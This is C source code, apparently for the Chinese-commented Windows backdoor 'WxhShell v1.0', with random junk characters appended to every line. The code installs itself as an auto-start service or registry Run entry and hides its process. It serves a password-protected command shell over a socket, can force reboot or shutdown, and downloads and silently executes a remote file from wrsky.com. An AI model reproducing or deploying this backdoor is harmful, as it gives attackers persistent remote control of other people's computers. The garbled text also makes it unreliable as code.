    if(Boot(SHUTDOWN)) 1O NkmVtL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gCC7L(1  
    else { t(-,mw  
    closesocket(wsh); zU+q03l8Ur  
    ExitThread(0); 0 }od Q#  
    } u;-fG9xs  
    break; xlu4  
    } n+hL/aQ+  
  // 获取shell \|HNFxT`  
  case 's': { Zx_ ^P:rL  
    CmdShell(wsh); "O<ETHd0  
    closesocket(wsh); 2~?E'  
    ExitThread(0); PWiUW{7z  
    break; JHvev,#4  
  } Yg3nT:K_Y&  
  // 退出 W_JO~P  
  case 'x': { y^`JWs,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y.]$T8  
    CloseIt(wsh); X_hDU~5{wC  
    break; 3u$1W@T(  
    } CssE8p>"F  
  // 离开 [i ~qVn2vT  
  case 'q': { ,r;xH}tbi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6{HCF-cQd  
    closesocket(wsh); u"*DI=pwb  
    WSACleanup(); Wu/#}Bw#  
    exit(1); l[ $bn!_ e  
    break; & rab,I"  
        } 1VlU'qY  
  } L}Y.xi  
  } jJNCNH*0  
y"q>}5  
  // 提示信息 _7<{+Zzm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jxkjPf?  
} SnmUh~`L~  
  } a~$Y;C_#<  
3S7"P$q  
  return; z77>W}d  
} ~Q]5g7k=&  
,Q7;(&x~  
// shell模块句柄 ?V^7`3F  
int CmdShell(SOCKET sock) qz>R"pj0g  
{ /0XMQy  
STARTUPINFO si; ()l3X.t,$  
ZeroMemory(&si,sizeof(si)); ~BmA!BZV`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ji1vLu4|t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q -8G  
PROCESS_INFORMATION ProcessInfo; , i5_4  
char cmdline[]="cmd"; ~s'tr&+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jTcv&`fAz  
  return 0; n%7?G=_kj  
} lnyfAq}w  
()?83Xj[c  
// 自身启动模式 LsuOmB|^  
int StartFromService(void) (jDz[b#OPz  
{ fyb;*hgu  
typedef struct `IUn{I  
{ UE.kR+1  
  DWORD ExitStatus; KaNs>[a8  
  DWORD PebBaseAddress; Z%qtAPd  
  DWORD AffinityMask; 3>aEP5  
  DWORD BasePriority; bPU i44P  
  ULONG UniqueProcessId; r_#dh  
  ULONG InheritedFromUniqueProcessId; zR^Gy"  
}   PROCESS_BASIC_INFORMATION; w&aZ 97{  
Oti*"dV\::  
PROCNTQSIP NtQueryInformationProcess; wc4BSJa,19  
]2wxqglh)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #Or;"}P>fB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o6k#neB>=.  
V^5d5Ao  
  HANDLE             hProcess; Km8aHc]O~  
  PROCESS_BASIC_INFORMATION pbi; D![v{0er  
:]m.&r S,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0\ = du  
  if(NULL == hInst ) return 0; Tn#Co$<  
p2i?)+z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +SH{`7r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d}h{#va*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dWvVK("Wj  
'|zrzU=  
  if (!NtQueryInformationProcess) return 0; 5FoZ$I  
*{DTxEy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZP<<cyY  
  if(!hProcess) return 0; .+/d08]  
d}[cX9U/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v\Uk?V5T  
4 V')FGB$  
  CloseHandle(hProcess); Dp ](?Yr  
j ) 6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V}#X'~Ob  
if(hProcess==NULL) return 0; o[Jzx2A<  
Go)$LC0Mi  
HMODULE hMod; ){5Nod{}a  
char procName[255]; @owneSD qN  
unsigned long cbNeeded; }oRBQP^&K  
dz] 5s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m0"K^p  
TmQIpeych  
  CloseHandle(hProcess); pa[/6(  
~P1~:AT  
if(strstr(procName,"services")) return 1; // 以服务启动 P2-&Im`+  
{_O!mI*  
  return 0; // 注册表启动 o eU i  
} go uU  
>%j%Mj@8q|  
// 主模块 J~k9jeq9  
int StartWxhshell(LPSTR lpCmdLine) 5 8bW  
{ Rqh5FzB>  
  SOCKET wsl; W&?Qs=@  
BOOL val=TRUE; 4N,mcV  
  int port=0;   EO&Q  
  struct sockaddr_in door; "]+g5G  
JL1ajlm~  
  if(wscfg.ws_autoins) Install(); +(3_V$|Dv  
::|~tLFu  
port=atoi(lpCmdLine); qz-QVY,  
2X?GEO]/4  
if(port<=0) port=wscfg.ws_port; KUAzJ[>  
t<!;shH,s  
  WSADATA data; j~Aq-8R=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kOYUxr.b  
4+RR`I8$Ge  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @%]A,\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4I$Y(E}  
  door.sin_family = AF_INET; AI-*5[w#A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2*|T)OA`m,  
  door.sin_port = htons(port); -zR<m  
7>JTQ CJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d~LoHp  
closesocket(wsl); ')y2W1  
return 1; 2?JV "O=  
} Lgg,K//g  
=&WIa#!=  
  if(listen(wsl,2) == INVALID_SOCKET) { g'(bk@<BP  
closesocket(wsl); D@O `"2  
return 1; P!eo#b^S  
} 54+(o6E<  
  Wxhshell(wsl); *GT=U(d  
  WSACleanup(); gxv^=;2C  
m\L`$=eO8  
return 0; JE?rp1.  
3e_tT8  
} q< JCgO-F<  
$TI^8 3  
// 以NT服务方式启动 4b8G 1fm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9L=mS  
{ ~]?:v,UIm(  
DWORD   status = 0;  Aqy w  
  DWORD   specificError = 0xfffffff; 1)ue-(o5  
v ,8;: sD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <RGH+4LF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =@HS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /eF@a!  
  serviceStatus.dwWin32ExitCode     = 0; mptFd  
  serviceStatus.dwServiceSpecificExitCode = 0; /Z:j:l  
  serviceStatus.dwCheckPoint       = 0; #,%bW[L<N  
  serviceStatus.dwWaitHint       = 0; ?d7,0Ex P  
PsC")JS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p}1i[//S  
  if (hServiceStatusHandle==0) return; p['RV  
=&}@GsXdo  
status = GetLastError(); ^4dE8Ve"@  
  if (status!=NO_ERROR) {q-&!l|  
{ J2bvHxb Rd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j#l=%H  
    serviceStatus.dwCheckPoint       = 0; t#k]K]  
    serviceStatus.dwWaitHint       = 0; 0a~t  
    serviceStatus.dwWin32ExitCode     = status; m=dNJF  
    serviceStatus.dwServiceSpecificExitCode = specificError; -@pjEI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VW-qQe  
    return; )PX VR T  
  } AkhG~L  
77P\:xc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9LDv?kYr  
  serviceStatus.dwCheckPoint       = 0; $D bnPZ2$  
  serviceStatus.dwWaitHint       = 0; 3Z!%td5n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !GcBNQ1p+7  
} _olQ;{ U:  
y>I2}P  
// 处理NT服务事件,比如:启动、停止 tW\yt~q,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "r9Rr_, >  
{ w'S,{GW  
switch(fdwControl) ;J%:DD  
{ s|=lKa]d!"  
case SERVICE_CONTROL_STOP: Q Be6\oq  
  serviceStatus.dwWin32ExitCode = 0; 380`>"D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @) Qgy}*5  
  serviceStatus.dwCheckPoint   = 0; 50,'z?-_  
  serviceStatus.dwWaitHint     = 0; !nvwRQ  
  { L5&M@YTH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1- 2hh)  
  } n(: <pz  
  return; mUYRioNj  
case SERVICE_CONTROL_PAUSE: ] ; w 2YR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P`Np +E#I  
  break; %Bs. XW,  
case SERVICE_CONTROL_CONTINUE: hlzB cz*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]3KeAJ  
  break; }A)\bffH  
case SERVICE_CONTROL_INTERROGATE: spEdq}  
  break; e;]tO-Nu  
}; =rjU=3!&(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "#Rh\DQ  
} O0  'iq^g  
&V].,12x  
// 标准应用程序主函数 yW_yHSx;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $J[( 3  
{ @\K[WqF$$q  
vsY?q8+P  
// 获取操作系统版本 WtT;y|W  
OsIsNt=GetOsVer(); ~6G `k^!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &7L7|{18  
@X==[gQ  
  // 从命令行安装 q+ax]=w  
  if(strpbrk(lpCmdLine,"iI")) Install(); :U6` n  
e4z`:%vy  
  // 下载执行文件 Z)?$ZI@  
if(wscfg.ws_downexe) { <kh.fu@.Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [Vd$FDki  
  WinExec(wscfg.ws_filenam,SW_HIDE); X1j8tg  
} iT]t`7R  
Rh>B# \  
if(!OsIsNt) { $7x2TiAL  
// 如果时win9x,隐藏进程并且设置为注册表启动 s8h*nZ)v  
HideProc(); l_I)d7   
StartWxhshell(lpCmdLine); Gm~([Ln{  
} ohx[_}xN  
else / *0t_  
  if(StartFromService()) 7^L  
  // 以服务方式启动 ) .~ "  
  StartServiceCtrlDispatcher(DispatchTable); Kk3+ ]W<  
else p3s i\Fm!  
  // 普通方式启动 <,i4Ua  
  StartWxhshell(lpCmdLine); 5'2kP{;  
KC/O EJ`  
return 0; {6i|"5_j  
} ~?Zib1f)  
PR:k--)D  
bo0U  
Pv -4psdw  
=========================================== r!:yUPv  
|iM,bs  
HsY5wC  
-3Kh >b)  
Xw H>F7HPe  
dC=[o\  
" 01cBAu   
Q\Ek U.[I  
#include <stdio.h> /%@;t@BK4  
#include <string.h> a6{Zp{"Y  
#include <windows.h> J8ni}\f  
#include <winsock2.h> 4cjfn'x  
#include <winsvc.h> fdl.3~.C  
#include <urlmon.h> c(Q@5@1y:  
H:fKv7XL  
#pragma comment (lib, "Ws2_32.lib") I}C2;[aB  
#pragma comment (lib, "urlmon.lib") v$ ti=uk$  
JT+ c7W7  
#define MAX_USER   100 // 最大客户端连接数 f"6W ;b2L.  
#define BUF_SOCK   200 // sock buffer dGKo!;7{  
#define KEY_BUFF   255 // 输入 buffer n0(Q/  
VAPeMO ck  
#define REBOOT     0   // 重启 U]PB)  
#define SHUTDOWN   1   // 关机 !~#zd]0x;  
>|f"EK}m!  
#define DEF_PORT   5000 // 监听端口 l\<.*6r  
fO<40!%9cQ  
#define REG_LEN     16   // 注册表键长度 gOF^?M11x  
#define SVC_LEN     80   // NT服务名长度 Tzq@ic#!B  
+nYFLe  
// 从dll定义API d$!Q6ux;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0 R6:3fV6R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?sN{U\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DDE-$)lf>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %>+uEjbT  
zPt<b!q  
// wxhshell配置信息 kR=sr/{  
struct WSCFG { :So<N}&  
  int ws_port;         // 监听端口 -FZC|[is  
  char ws_passstr[REG_LEN]; // 口令 fi?4!h  
  int ws_autoins;       // 安装标记, 1=yes 0=no FnvpnU",  
  char ws_regname[REG_LEN]; // 注册表键名 GJ9>i)+h;  
  char ws_svcname[REG_LEN]; // 服务名 yD+4YD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C`5'5/-.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  .NOAp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HTQZIm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  -WC0W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j|!,^._i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4BCPh:  
(Pc>D';{S  
}; Fh#QS'[  
7l* &Fh9;  
// default Wxhshell configuration e]4$H.dP  
struct WSCFG wscfg={DEF_PORT, 2<D| {  
    "xuhuanlingzhe", X^\D"fmE.  
    1, \n<! ld  
    "Wxhshell", VLuHuih  
    "Wxhshell", erH,EE^-x<  
            "WxhShell Service", b RAD_  
    "Wrsky Windows CmdShell Service", 4'QX1p  
    "Please Input Your Password: ", uw;Sfx,s  
  1, VF`!ks  
  "http://www.wrsky.com/wxhshell.exe", fyQOF ItM  
  "Wxhshell.exe" (b25g!  
    }; {&5lZ<nu8A  
m8sd2&4  
// 消息定义模块 .}==p&(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f-%M~:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \jfK']P/H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /U;j-m&   
char *msg_ws_ext="\n\rExit."; {JE [  
char *msg_ws_end="\n\rQuit."; *Fy6 -CC1  
char *msg_ws_boot="\n\rReboot..."; %8*:VR  
char *msg_ws_poff="\n\rShutdown..."; BH:A]#_{  
char *msg_ws_down="\n\rSave to "; (`(D $%  
dl4n -*h  
char *msg_ws_err="\n\rErr!"; DU^.5f  
char *msg_ws_ok="\n\rOK!"; u*C*O4f>OC  
M7=,J;@  
char ExeFile[MAX_PATH]; q5;dQ8Y ?  
int nUser = 0; eHr0],  
HANDLE handles[MAX_USER]; b A+_/1C  
int OsIsNt; E)-;sFz  
7zu\tCWb  
SERVICE_STATUS       serviceStatus; ]8A*uyi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `~XksyT  
}e\"VhAl/  
// 函数声明 2!#g\"  
int Install(void); #^}H)>jWy  
int Uninstall(void); 'z|Da&d P  
int DownloadFile(char *sURL, SOCKET wsh); UoxlEec  
int Boot(int flag); nxZz{&  
void HideProc(void); Z^kE]Ir#EV  
int GetOsVer(void); A8-[EBkK  
int Wxhshell(SOCKET wsl); 8~Kq "wrbu  
void TalkWithClient(void *cs); e,%|sAs[  
int CmdShell(SOCKET sock); )7 5 7   
int StartFromService(void); O#)1 zD}  
int StartWxhshell(LPSTR lpCmdLine); AjK5x@\  
Ohm{m^VD"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8pnD6Lp>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *w0!C:mL&  
Skr (C5T  
// 数据结构和表定义 r#zcl)rbU  
SERVICE_TABLE_ENTRY DispatchTable[] = wAHuPQ&_Q  
{ JSL&` `  
{wscfg.ws_svcname, NTServiceMain}, I=!kPuw  
{NULL, NULL} @2E52$zu  
}; )Cy>'l*Og7  
hF'VqJS  
// 自我安装 u@Hz7Q} P  
int Install(void) 5} %R  
{ #)'Iqaq7  
  char svExeFile[MAX_PATH]; )LGVR 3#  
  HKEY key; . 1kB8&}  
  strcpy(svExeFile,ExeFile); OBWb0t5H?  
D!.c??   
// 如果是win9x系统,修改注册表设为自启动 Y(UK:LZ'  
if(!OsIsNt) { ,`f]mv l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { in>+D|q c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v0 C+DKi  
  RegCloseKey(key); |]G%b[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <|r|s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  }u8(7  
  RegCloseKey(key); uWJJ\  
  return 0; [/a AH<9b  
    } TtkHMPlm_  
  } ;"M6}5dQ4  
} ~vXbh(MX  
else { 8dR `T}  
t oGiG|L  
// 如果是NT以上系统,安装为系统服务 w[X-Q+7p(t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }u;K<<h:  
if (schSCManager!=0) x,C8):\t`B  
{ F!z ^0+H(  
  SC_HANDLE schService = CreateService 2E1`r@L  
  ( f2e;N[D  
  schSCManager, D$>!vD'  
  wscfg.ws_svcname, 8i',~[  
  wscfg.ws_svcdisp, I8XP`Ccq  
  SERVICE_ALL_ACCESS, ^6 wWv&G[8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sU>IETo  
  SERVICE_AUTO_START, P*KIk~J  
  SERVICE_ERROR_NORMAL, ,sitOy}ks  
  svExeFile, o< @![P  
  NULL, rd7p$e=i  
  NULL, -Cyo2wk  
  NULL, {py%-W  
  NULL, O}i+ 1  
  NULL _eGYwBm  
  ); C:J frg`  
  if (schService!=0) LDQ,SS,  
  { V/#Ra  
  CloseServiceHandle(schService); '8]p]#l  
  CloseServiceHandle(schSCManager); {&+M.Xn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0`"oR3JY  
  strcat(svExeFile,wscfg.ws_svcname); ;t0 q ?9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t`B@01;8A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T +vo)9w  
  RegCloseKey(key); x'g4DYl  
  return 0; -J3~j kf  
    } *H!BThft4  
  } 4s 7 RB  
  CloseServiceHandle(schSCManager); m""+ $  
} lpXGsK H2  
} hJ(vDv%  
Z[Tou  
return 1; KO "/  
} R=~%kt_n  
3O,nNt;L{  
// 自我卸载 UN'n~d @~  
int Uninstall(void) eA7 Iv{M  
{ 8?iI;(  
  HKEY key; @ eJ8wf]  
a,Pw2Gcid  
if(!OsIsNt) { H$Kc~#=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JlYZ\  
  RegDeleteValue(key,wscfg.ws_regname); @<P2di  
  RegCloseKey(key); n~UI 47  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wH?)ZL  
  RegDeleteValue(key,wscfg.ws_regname); yx Om=V  
  RegCloseKey(key); 8xENzTR  
  return 0; ^2- <XD)  
  } WO.u{vW]'  
} m%6VwV7U  
} =p_*lC%N  
else { ,<IomA:q4  
Nf([JP% 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0Fb ];:a  
if (schSCManager!=0) 9)7$UQY  
{ AJ%E.+@=r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); " AUSgVE+h  
  if (schService!=0) !~|-CF0z=  
  { S L 5k^|  
  if(DeleteService(schService)!=0) { G:1d6[Q5{  
  CloseServiceHandle(schService); ": vGs_$  
  CloseServiceHandle(schSCManager); #csP.z3^y  
  return 0; Dnd; N/9  
  } Tc(=J7*r&  
  CloseServiceHandle(schService); Dizz ?O  
  } nh4G;qdU  
  CloseServiceHandle(schSCManager); 7_\F$bp`  
} `rVru= zoy  
} d/R!x{$-f  
I(^0/]'  
return 1; d1/WUKmbZ  
} }. &ellNQ  
 U${W3Ra  
// 从指定url下载文件 hnFpC1TO  
int DownloadFile(char *sURL, SOCKET wsh) {A/^;X{N^  
{ v82wnP-~7  
  HRESULT hr; =sk[I0W  
char seps[]= "/"; ~1+6gG  
char *token; zx%WV@O9  
char *file; GqHW.s5  
char myURL[MAX_PATH]; 5hmfdj6  
char myFILE[MAX_PATH]; \'Ae,q|w  
*,JE[M  
strcpy(myURL,sURL); @e<( o UE  
  token=strtok(myURL,seps); k4iiL<|  
  while(token!=NULL) yU!1q}L!  
  { G$f%]A1  
    file=token; ^:-GPr  
  token=strtok(NULL,seps); 6C&&="uww  
  } <kFLwF?PM'  
[eD0L7 1[  
GetCurrentDirectory(MAX_PATH,myFILE); [XY%<P3D  
strcat(myFILE, "\\"); rhc+tR  
strcat(myFILE, file); |BFzTz,o  
  send(wsh,myFILE,strlen(myFILE),0); T^7Cv{[  
send(wsh,"...",3,0); s21} a,eB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^($'l)I  
  if(hr==S_OK) xuv W6Q;  
return 0; G{!er:Vwdh  
else 5csh8i'V  
return 1; D#LV&4e>.E  
YJv$,Z&;HO  
} mi] WZlg$  
SyVGm@  
// 系统电源模块 Wu{=QjgY  
int Boot(int flag) eMRH*MyD  
{ >>J3"XHX  
  HANDLE hToken; 5(H%Ia  
  TOKEN_PRIVILEGES tkp; upuN$4m&{  
zzZ EX  
  if(OsIsNt) { C=+9XfP0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]zlA<w8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hiS|&5#  
    tkp.PrivilegeCount = 1; ^;_~ mq.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~snj92K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L"&T3i  
if(flag==REBOOT) { Z8 v8@Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _P.I+!w:x  
  return 0; es*$/A  
} ZwDL  
else { >IIq_6Z#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) To*+Z3Wd  
  return 0; S[K5ofV  
} p{L;)WTI  
  } 1*8;)#%&  
  else { 2Xl+}M.:Y  
if(flag==REBOOT) { <}J !_$A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `xzKRId0  
  return 0; B4b'0p  
} |H t5a.  
else { #zl1#TC{(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~^obf(N`  
  return 0; kxhsDD$@p  
} b11I$b #  
} K[y")ooE<j  
vR\E;V  
return 1; R@K\   
} D<J'\mo  
8lV:-"+5  
// win9x进程隐藏模块 t.ulG *  
void HideProc(void) M>i(p%  
{ NTt4sWP!I  
i pn-HUrE@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DDr\Kv)k(  
  if ( hKernel != NULL ) sYS 8]JU  
  { #p(c{L!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t,9+G<)>H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2V@5:tf  
    FreeLibrary(hKernel); Y_Gd_+oJ  
  } =v<w29P(g  
YcA. Bn|as  
return; jOV6 %  
} sa8O<Ab  
*/e$S[5  
// 获取操作系统版本 "0!h- bQN  
int GetOsVer(void) Ve(<s  
{ dCoP qKy  
  OSVERSIONINFO winfo; 9Rk(q4.OP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >.qFhO\1so  
  GetVersionEx(&winfo); sLA.bp.O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4<($ZN8  
  return 1; +S{m!j%B  
  else zls^JTE  
  return 0; []A9j ?_w  
}  ]ltCJq  
:=hL}(~]  
// 客户端句柄模块 4C`RxQJM  
int Wxhshell(SOCKET wsl) "zq'nV=  
{ )3CM9P'0  
  SOCKET wsh; b;VIR,2  
  struct sockaddr_in client; ''9]`B,:a0  
  DWORD myID; G %sO{k7  
6vK`J"d{~D  
  while(nUser<MAX_USER) G Uu8 N  
{ R%3yxnM*  
  int nSize=sizeof(client); Z@euO~e~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'b.jKkW7  
  if(wsh==INVALID_SOCKET) return 1; ]ePg6  
N 8[r WJ#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X}Q4;='C-  
if(handles[nUser]==0) g}hUCx(  
  closesocket(wsh); 1#x5 o2n  
else %O9Wm_%  
  nUser++; ~+'f[!^  
  } \Hp!NbnF$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ""7H;I&  
e&x)g;bn  
  return 0; <ci(5M  
} 7;p/S#P:  
bR7tmJ[)Z  
// 关闭 socket c $1u  
void CloseIt(SOCKET wsh) JAHg_!  
{ U1:m=!S;x  
closesocket(wsh); WuE]pm]c  
nUser--; _zDS-e@  
ExitThread(0); Tp-W/YC  
} ,C6(  
8d*S9p,/  
// 客户端请求句柄 r#WqXh_uk  
void TalkWithClient(void *cs) l0G{{R 0Y  
{ >aJmRA-C}  
 C@*x  
  SOCKET wsh=(SOCKET)cs; er_6PV  
  char pwd[SVC_LEN]; oL~1M=r  
  char cmd[KEY_BUFF]; }m<+tn3m  
char chr[1]; L&+k`b  
int i,j; 0i}.l\  
bDDP:INm.  
  while (nUser < MAX_USER) { Vb? wwx7=  
/HUT6B  
if(wscfg.ws_passstr) { }uMu8)Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =EVB?k ,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P6%qNR/ x  
  //ZeroMemory(pwd,KEY_BUFF); $|7"9W}m*  
      i=0; C)m@/w  
  while(i<SVC_LEN) { r4u ,I<ZbH  
]A[}:E 5}  
  // 设置超时 b6S"&hs  
  fd_set FdRead; ozsd6&z5l  
  struct timeval TimeOut; r } Wdj  
  FD_ZERO(&FdRead); cl`kd)"v  
  FD_SET(wsh,&FdRead); NdJ]\>5oN,  
  TimeOut.tv_sec=8; \ 3E%6L  
  TimeOut.tv_usec=0; \#biwX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8cfsl lI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n=b!c@f4  
$~q{MX&J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V #vkj  
  pwd=chr[0]; /QS Nv  
  if(chr[0]==0xd || chr[0]==0xa) { 5q4wREh  
  pwd=0; +9LzDH  
  break; 4%}iKoT   
  } G-D}J2r=F  
  i++; Ox ,Rk  
    } [.l,#-vp  
R1hmJ  
  // 如果是非法用户,关闭 socket A]iT uu5p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kK6t|Yn&  
} elM<S3  
1WaQWZ:=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dgQ<>+9]6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @RB^m(> 5  
!gyW15z'  
while(1) { '~yxu$aK  
z*VK{O)o  
  ZeroMemory(cmd,KEY_BUFF); 6GAEQ]  
Y, Lpv|  
      // 自动支持客户端 telnet标准   N\s-{7K  
  j=0; k3LHLJZ#  
  while(j<KEY_BUFF) { YO.ddy*59  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Foj|1zJS_  
  cmd[j]=chr[0]; maSVqG  
  if(chr[0]==0xa || chr[0]==0xd) { UH&1QV  
  cmd[j]=0; kb$Yc)+R4  
  break; xGOmvn^lQ  
  } v#9i|  
  j++; A~{vja0?  
    } vx$DKQK@l\  
yEB#*}K?  
  // 下载文件 E}zGY2Xx  
  if(strstr(cmd,"http://")) { I7h v'3u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pQZ`dS\  
  if(DownloadFile(cmd,wsh)) ENA"T-p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w}/+3z  
  else p1GP@m,^n0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2I suBX\[  
  } (3K,f4S@  
  else { 1.,KN:qe  
t\:=|t,  
    switch(cmd[0]) { <2O#!bX1  
  y'6lfThT  
